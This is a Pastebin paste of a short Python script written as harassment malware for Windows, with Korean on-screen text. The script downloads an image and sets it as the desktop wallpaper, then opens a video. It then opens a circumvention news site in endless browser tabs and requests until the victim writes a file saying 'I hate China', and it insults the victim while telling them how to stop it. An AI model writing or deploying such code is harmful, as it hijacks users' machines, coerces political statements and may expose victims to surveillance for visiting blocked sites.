Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, time, requests, aiohttp, ctypes, webbrowser, asyncio
- async def sendRequest(url) :
- async with aiohttp.ClientSession() as session:
- async with session.get(url) as r:
- return
- def openUrl(url) :
- print('이새꺄 이거 끄고 싶으면 C:\zresource 폴더에 잘못했어요.txt 써넣고 안에 중국싫어요 써 이새꺄!')
- while True :
- with open('잘못했어요.txt') as f:
- s = f.read()
- if os.path.isfile('잘못했어요.txt') and str(s) == '중국싫어요' :
- break
- else :
- webbrowser.open_new(url)
- loop = asyncio.get_event_loop()
- loop.run_until_complete(sendRequest(url=url))
- loop.close()
- wallurl = 'https://i.imgur.com/Bwul9bt.jpg'
- videourl = 'https://vimeo.com/394605959'
- mainurl = 'http://dongtaiwang.com'
- os.chdir('C:\ ')
- os.system('mkdir zresource')
- os.chdir('C:\zresource')
- wallr = requests.get(wallurl, allow_redirects=True)
- open ('wall.png', 'wb').write(wallr.content)
- ctypes.windll.user32.SystemParametersInfoW(20, 0, "C:\zresource\wall.png" , 0)
- webbrowser.open_new(videourl)
- openUrl(url=mainurl)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement